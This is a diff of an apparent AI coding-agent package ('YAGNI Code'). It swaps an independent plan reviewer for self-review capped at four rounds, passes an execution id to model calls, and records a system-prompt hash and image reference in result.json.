164
  return end("the run's time ran low");
133
- let review = null;
134
- for (let tries = 0; tries < 2 && !review; tries += 1) {
135
- const said = await input.review(planReviewTask(input.inputDir, run.finalOutput, round));
136
- asked.push(said);
137
- const spent = creditExhaustionReason(said);
138
- if (spent)
139
- return end(`the review was refused: ${spent}`);
140
- if (said.timedOut)
141
- return end("the review ran out of the run's time");
142
- if (input.signal?.aborted)
143
- return end("the attempt was stopped");
144
- review = said.exitCode === 0 ? parsePlanReview(said.finalOutput) : null;
165
+ let answer = await input.turn(reviewMessage(input.inputDir, run.finalOutput, round));
166
+ asked.push(answer);
167
+ const first = stopped(answer);
168
+ if (first)
169
+ return end(first);
170
+ // The round's plan is its latest answer that carries one, settled only
171
+ // once the round has a verdict (or ends without one).
172
+ let roundPlan = carriesPlan(answer) ? answer : null;
173
+ let verdict = answer.exitCode === 0 ? parsePlanReview(answer.finalOutput) : null;
174
+ if (!verdict) {
175
+ answer = await input.turn(VERDICT_REASK);
176
+ asked.push(answer);
177
+ const second = stopped(answer);
178
+ if (second)
179
+ return end(second);
180
+ if (carriesPlan(answer))
181
+ roundPlan = answer;
182
+ verdict = answer.exitCode === 0 ? parsePlanReview(answer.finalOutput) : null;
183
+ if (!verdict) {
184
+ if (roundPlan)
185
+ keep(roundPlan);
186
+ return end("the session wrote no verdict that reads");
187
+ }
145
188
  }
146
- if (!review)
147
- return end("the reviewer wrote no review that reads, twice");
148
- if (review.findings.length === 0) {
149
- rounds.push({ round, findings: [], outcome: "clean" });
150
- return { run, asked, rounds, ended: null };
189
+ if (!roundPlan) {
190
+ // The re-ask for a missing plan-json block asks for the plan alone: the
191
+ // verdict this round's answer carried stands for it.
192
+ const blocked = await input.withBlock(answer);
193
+ asked.push(...blocked.asked);
194
+ if (carriesPlan(blocked.run))
195
+ roundPlan = blocked.run;
151
196
  }
152
- const revised = await input.turn(revisionMessage(review.findings));
153
- asked.push(revised);
154
- // A revision that never ran says why, never that it carried no plan.
155
- const unrevised = (why) => {
156
- rounds.push({ round, findings: review.findings, outcome: "unrevised" });
157
- return end(why);
158
- };
159
- const refused = creditExhaustionReason(revised);
160
- if (refused)
161
- return unrevised(`the revision was refused: ${refused}`);
162
- if (revised.timedOut)
163
- return unrevised("the revision ran out of the run's time");
164
- if (input.signal?.aborted)
165
- return unrevised("the attempt was stopped");
166
- const blocked = revised.exitCode === 0 ? await input.withBlock(revised) : { run: revised, asked: [] };
167
- asked.push(...blocked.asked);
168
- if (blocked.run.exitCode !== 0 || extractPlanJson(blocked.run.finalOutput) === null) {
169
- return unrevised("the session's revision carried no plan, so the plan before it stands");
197
+ const { findings } = verdict;
198
+ if (!roundPlan) {
199
+ rounds.push({ round, findings, outcome: "unrevised" });
200
+ if (findings.length === 0)
201
+ return { run, asked, rounds, ended: null };
202
+ return end("the session's answer carried no plan, so the plan before it stands");
170
203
  }
171
- run = blocked.run;
172
- rounds.push({ round, findings: review.findings, outcome: "revised" });
204
+ keep(roundPlan);
205
+ rounds.push({ round, findings, outcome: "revised" });
206
+ if (findings.length === 0)
207
+ return { run, asked, rounds, ended: null };
208
+ if (round >= MAX_PLAN_REVIEW_ROUNDS)
209
+ return end(REVIEW_CAP_ENDED);
173
210
  }
174
211
  }
175
212
  /** The `## Self-review` section the host adds to the plan: how many rounds, and what each changed. */
@@ -179,13 +216,15 @@ export function selfReviewSection(rounds, ended) {
179
216
  "## Self-review",
180
217
  "",
181
218
  rounds.length > 0
182
- ? `A fresh reviewer read this plan against the ticket and the code before it reached you: ${count}.`
183
- : "A fresh reviewer was to read this plan against the ticket and the code before it reached you.",
219
+ ? `The session that wrote this plan reviewed it against the ticket and the code before it reached you: ${count}.`
220
+ : "The session that wrote this plan was to review it against the ticket and the code before it reached you.",
184
221
  "",
185
222
  ];
186
223
  for (const round of rounds) {
187
- if (round.outcome === "clean") {
188
- lines.push(`- Round ${round.round}: nothing major.`);
224
+ if (round.findings.length === 0) {
225
+ lines.push(round.outcome === "revised"
226
+ ? `- Round ${round.round}: nothing major.`
227
+ : `- Round ${round.round}: nothing major, and its answer carried no plan, so its fixes are not in this plan.`);
189
228
  continue;
190
229
  }
191
230
  const named = round.findings.map((f) => clipped(f.finding, 200)).join("; ");
@@ -18,10 +18,10 @@
18
18
  *
19
19
  * - Plan turn: read, search, run anything (tests, Docker, the app), no edit
20
20
  * or write tool. Its last message is the plan with the plan-json block,
21
- * asked for once more when the block is missing. A fresh reviewer then
22
- * reads the plan, round after round until one finds nothing major, each
23
- * major finding revised in the same session, and the host checks the
24
- * paths the plan cites (`planReview.ts`). This process writes
21
+ * asked for once more when the block is missing. The session then
22
+ * reviews its own plan, one turn per round, fixing what it finds in
23
+ * place, until a round lists nothing major or four rounds have run, and
24
+ * the host checks the paths the plan cites (`planReview.ts`). This process writes
25
25
  * `plan.md`, `plan.json` and `result.json` as the cloud lane's plan stage
26
26
  * does (`completeCloudSession`). Anything the turn changed in tracked
27
27
  * files, or committed, is put back before the plan's gate, so nothing is
@@ -315,4 +315,16 @@ export declare function heartbeatLine(pulse: TurnPulse, stage: StageId, at: numb
315
315
  * Never throws for the model's sake.
316
316
  */
317
317
  export declare function runSessionTurn(input: SessionTurnInput, deps?: SessionTurnDeps): Promise<SessionTurnOutcome>;
318
+ /** `result.json` written again; one that cannot be written says so in its own notes, which the stream carries. */
319
+ /** The env var the turn's execution id reaches the model calls by. */
320
+ export declare const EXECUTION_ID_ENV = "YAGNI_EXECUTION_ID";
321
+ /**
322
+ * What the turn ran on, for the host's record of it: the sha256 of the system
323
+ * prompt (the playbook installed as the session's skill) and the image the
324
+ * machine says it runs (`FLY_IMAGE_REF`, set by Fly; absent elsewhere).
325
+ */
326
+ export declare function turnPromptFacts(env: NodeJS.ProcessEnv): {
327
+ systemPromptSha256: string;
328
+ imageRef?: string;
329
+ };
318
330
  //# sourceMappingURL=sessionLane.d.ts.map
@@ -18,10 +18,10 @@
18
18
  *
19
19
  * - Plan turn: read, search, run anything (tests, Docker, the app), no edit
20
20
  * or write tool. Its last message is the plan with the plan-json block,
21
- * asked for once more when the block is missing. A fresh reviewer then
22
- * reads the plan, round after round until one finds nothing major, each
23
- * major finding revised in the same session, and the host checks the
24
- * paths the plan cites (`planReview.ts`). This process writes
21
+ * asked for once more when the block is missing. The session then
22
+ * reviews its own plan, one turn per round, fixing what it finds in
23
+ * place, until a round lists nothing major or four rounds have run, and
24
+ * the host checks the paths the plan cites (`planReview.ts`). This process writes
25
25
  * `plan.md`, `plan.json` and `result.json` as the cloud lane's plan stage
26
26
  * does (`completeCloudSession`). Anything the turn changed in tracked
27
27
  * files, or committed, is put back before the plan's gate, so nothing is
@@ -43,6 +43,7 @@
43
43
  * kept: the review loop and its round cap, the fixer, and the plan stage's
44
44
  * own clock.
45
45
  */
46
+ import { createHash } from "node:crypto";
46
47
  import { existsSync, mkdirSync, readFileSync, rmSync, writeFileSync } from "node:fs";
47
48
  import { homedir } from "node:os";
48
49
  import { isAbsolute, join, relative } from "node:path";
@@ -51,13 +52,13 @@ import { scanChange } from "./changeScan.js";
51
52
  import { CODE_WRITER_ENV, ignoredCodeWriter, resolveCodeWriter, } from "./codeWriter.js";
52
53
  import { completeCloudSession, RESULT_FILE_NAME, } from "./cloud.js";
53
54
  import { finishExec } from "./finish.js";
54
- import { HELPER_SESSIONS_DIR_ENV, helperSessionFile } from "./helperSessions.js";
55
+ import { HELPER_SESSIONS_DIR_ENV } from "./helperSessions.js";
55
56
  import { MISSION_CHECKS_FILE_NAME, readMissionChecksFile } from "./missionChecks.js";
56
57
  import { creditExhaustionReason } from "./orchestrator.js";
57
58
  import { WORK_A_TICKET_SKILL } from "./personas.js";
58
59
  import { healPlacedSecrets, publicationBase } from "./placedValueHeal.js";
59
60
  import { extractPlanJson } from "./planOutput.js";
60
- import { checkPlanPaths, PLAN_REVIEW_CALLER_LABEL, PLAN_REVIEWER_AGENT, PLAN_REVIEWER_TOOLS, selfReviewPlan, selfReviewSection, } from "./planReview.js";
61
+ import { checkPlanPaths, selfReviewPlan, selfReviewSection } from "./planReview.js";
61
62
  import { PLAN_CHANGES_RULE, parsePlanChanges, planChangeNote, } from "./planChanges.js";
62
63
  import { runStage as defaultRunStage } from "./runner.js";
63
64
  import { scrubSecrets } from "./scrubSecrets.js";
@@ -317,8 +318,8 @@ const QUESTION_RULE = "Where there is a real choice of approach, ask it as a dec
317
318
  */
318
319
  const DECIDE_RULE = "This yak approves its own plans: no person answers this plan's questions, and YAGNI takes your recommendation on each one. So where there is a real choice of approach, decide on your recommendation: the plan's steps follow it, and ## Risks states it as the assumption you plan on, with what would change it. Put a question in the plan-json block only for a change of direction, with the evidence (file:line, command or query) in its checked lines: the ticket's premise is false, or the right change is far larger than the ticket.";
319
320
  const PLAN_CLOSE_RULE = 'When the ticket check shows the problem is already gone, recommend closing the ticket instead of planning a change: ## Goal says so in one sentence, the ticket check holds the evidence, ## Plan says "Nothing to build." with no numbered steps, and the plan-json block carries "closeTicket" with the evidence and names no checks and no paths. A person then decides whether to close it.';
320
- const PLAN_STOP = "Then stop: a fresh reviewer reads the plan next, and its major findings come back to you in this session to revise. A person approves the plan before anything is built.";
321
- const OWN_PLANS_STOP = "Then stop: a fresh reviewer reads the plan next, and its major findings come back to you in this session to revise. Once it finds nothing major, YAGNI approves the plan for this yak and the build starts.";
321
+ const PLAN_STOP = "Then stop: next you review this plan yourself, in this session, for at most four rounds, fixing what you find. A person approves the plan before anything is built.";
322
+ const OWN_PLANS_STOP = "Then stop: next you review this plan yourself, in this session, for at most four rounds, fixing what you find. Once the review ends, YAGNI approves the plan for this yak and the build starts.";
322
323
  /**
323
324
  * How a turn treats a review's items. The host acknowledges each thread at
324
325
  * take and posts the outcomes after its push (`attempts/review.ts`), with the
@@ -752,6 +753,10 @@ async function runTurn(input, deps, pulse) {
752
753
  env: {
753
754
  ...input.childEnv,
754
755
  [SESSION_INPUT_DIR_ENV]: input.inputDir,
756
+ // The turn every model call is for (`x-yagni-execution-id`, `config.ts`).
757
+ ...(EXECUTION_ID.test(input.identity.executionId)
758
+ ? { [EXECUTION_ID_ENV]: input.identity.executionId }
759
+ : {}),
755
760
  ...(inboxDir ? { [SESSION_INBOX_DIR_ENV]: inboxDir } : {}),
756
761
  ...(helpersDir ? { [HELPER_SESSIONS_DIR_ENV]: helpersDir } : {}),
757
762
  },
@@ -784,46 +789,6 @@ async function runTurn(input, deps, pulse) {
784
789
  input.emit({ type: "pipeline_stage", stage: stageId, phase: "finish", at: now() });
785
790
  }
786
791
  };
787
- // The plan's reviewer: a fresh child that shares nothing with the session
788
- // that wrote the plan, each round on its own session file in the helpers
789
- // folder (named by the execution and the round), so the host keeps why it
790
- // asked for a revision; its tool calls ride the plan's stream and its spend
791
- // is the run's.
792
- const reviewStage = {
793
- id: "plan",
794
- agent: PLAN_REVIEWER_AGENT,
795
- model: SESSION_TIER,
796
- tools: PLAN_REVIEWER_TOOLS,
797
- taskTemplate: "{ticket}",
798
- };
799
- let reviewRounds = 0;
800
- const review = (task) => {
801
- reviewRounds += 1;
802
- const round = reviewRounds;
803
- return runStage(withClock(reviewStage), { ticket: task }, {
804
- cwd: input.cwd,
805
- env: input.childEnv,
806
- ...(helpersDir
807
- ? {
808
- sessionFileFor: (tryNo) => helperSessionFile(helpersDir, `plan-review-${input.identity.executionId}-r${round}`, tryNo),
809
- }
810
- : {}),
811
- callerLabel: PLAN_REVIEW_CALLER_LABEL,
812
- ...(input.runId ? { attribution: { runId: input.runId } } : {}),
813
- ...(input.signal ? { signal: input.signal } : {}),
814
- stageWriteCapable: false,
815
- onEvent: (event) => {
816
- notePulse(pulse, event, now());
817
- // Only its tool calls: the host narrates a message on the stream as
818
- // the session's own words (`harnessActivity.ts`), and the review is
819
- // not the yak speaking. Its findings reach the session as a turn.
820
- if (event.type === "tool_execution_start" || event.type === "tool_execution_end") {
821
- input.emit({ ...event, yagni: { stage: stageId } });
822
- }
823
- },
824
- now,
825
- });
826
- };
827
792
  // On the CLI's own stderr, whose tail the host logs: a value that named
828
793
  // nobody is the session writing, said once per turn.
829
794
  const ignoredWriter = ignoredCodeWriter(input.childEnv[CODE_WRITER_ENV]);
@@ -880,8 +845,9 @@ async function runTurn(input, deps, pulse) {
880
845
  stages.push(...planned.asked);
881
846
  run = planned.run;
882
847
  const sections = [];
883
- // A plan with its block is reviewed until a round finds nothing major,
884
- // then its cited paths are checked; one without has nothing to review.
848
+ // A plan with its block is reviewed by the session that wrote it, until
849
+ // a round lists nothing major or the cap, then its cited paths are
850
+ // checked; one without has nothing to review.
885
851
  if (extractPlanJson(run.finalOutput) !== null &&
886
852
  turnStop(run, false, input.signal?.aborted === true).stop === "clean") {
887
853
  const withBlock = (answer) => planWithBlock(answer, turn, input.signal);
@@ -889,7 +855,6 @@ async function runTurn(input, deps, pulse) {
889
855
  run,
890
856
  inputDir: input.inputDir,
891
857
  turn,
892
- review,
893
858
  withBlock,
894
859
  timeLeftMs,
895
860
  ...(input.signal ? { signal: input.signal } : {}),
@@ -1000,17 +965,20 @@ async function runTurn(input, deps, pulse) {
1000
965
  }
1001
966
  : {}),
1002
967
  }, ran);
1003
- const noted = { ...done.attempt, notes: [...notes, ...done.attempt.notes] };
968
+ const noted = {
969
+ ...done.attempt,
970
+ notes: [...notes, ...done.attempt.notes],
971
+ ...turnPromptFacts(input.childEnv),
972
+ };
1004
973
  const attempt = writes
1005
974
  ? withSessionAccount(noted, parseSessionReport(readOrNull(join(input.outDir, SESSION_REPORT_FILE_NAME)), knownBaselines(input.inputDir, readFile)), pullRequestTextOf(readOrNull(join(input.outDir, PULL_REQUEST_FILE_NAME))))
1006
975
  : uiPreview
1007
976
  ? { ...noted, uiPreview }
1008
977
  : noted;
1009
- // The cloud lane's finish wrote `result.json`; it is written again when
1010
- // this turn adds to it (the model's account, the plan turn's put-back, how
1011
- // it left its UI preview).
1012
- if (writes || notes.length > 0 || uiPreview)
1013
- rewriteResult(input.outDir, attempt, writeFile);
978
+ // The cloud lane's finish wrote `result.json`; it is written again with
979
+ // what this turn adds to it (the model's account, the plan turn's put-back,
980
+ // how it left its UI preview, the system prompt it ran on).
981
+ rewriteResult(input.outDir, attempt, writeFile);
1014
982
  input.emit({ type: "pipeline_result", ...attempt });
1015
983
  const ok = writes ? done.ok && attempt.stopReason === "clean" : done.ok;
1016
984
  return { ok, attempt };
@@ -1056,6 +1024,20 @@ function withSessionAccount(attempt, report, pullRequestText) {
1056
1024
  : folded;
1057
1025
  }
1058
1026
  /** `result.json` written again; one that cannot be written says so in its own notes, which the stream carries. */
1027
+ /** The env var the turn's execution id reaches the model calls by. */
1028
+ export const EXECUTION_ID_ENV = "YAGNI_EXECUTION_ID";
1029
+ /**
1030
+ * What the turn ran on, for the host's record of it: the sha256 of the system
1031
+ * prompt (the playbook installed as the session's skill) and the image the
1032
+ * machine says it runs (`FLY_IMAGE_REF`, set by Fly; absent elsewhere).
1033
+ */
1034
+ export function turnPromptFacts(env) {
1035
+ const image = env.FLY_IMAGE_REF?.trim();
1036
+ return {
1037
+ systemPromptSha256: createHash("sha256").update(WORK_A_TICKET_SKILL).digest("hex"),
1038
+ ...(image ? { imageRef: image } : {}),
1039
+ };
1040
+ }
1059
1041
  function rewriteResult(outDir, attempt, writeFile) {
1060
1042
  try {
1061
1043
  writeFile(join(outDir, RESULT_FILE_NAME), `${JSON.stringify(attempt, null, 2)}\n`);
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@yagni-app/code-staging",
3
- "version": "1.2.14-staging.2370.1",
3
+ "version": "1.2.14-staging.2374.1",
4
4
  "description": "YAGNI Code: a terminal coding agent that already knows your company. One YAGNI login routes the model and grounds the agent in your team's context.",
5
5
  "license": "SEE LICENSE IN LICENSE.md",
6
6
  "author": "YAGNI, Inc. <jack@yagni.app> (https://yagni.app)",
@@ -58,5 +58,5 @@
58
58
  "turndown": "^7.2.4",
59
59
  "typebox": "^1.3.15"
60
60
  },
61
- "yagniSourceSha": "ec09dfa1062eed059f4d9d8591c480e21d7636c2"
61
+ "yagniSourceSha": "be8cac14c8f7c30cf826d20c7b17535dd3b61298"
62
62
  }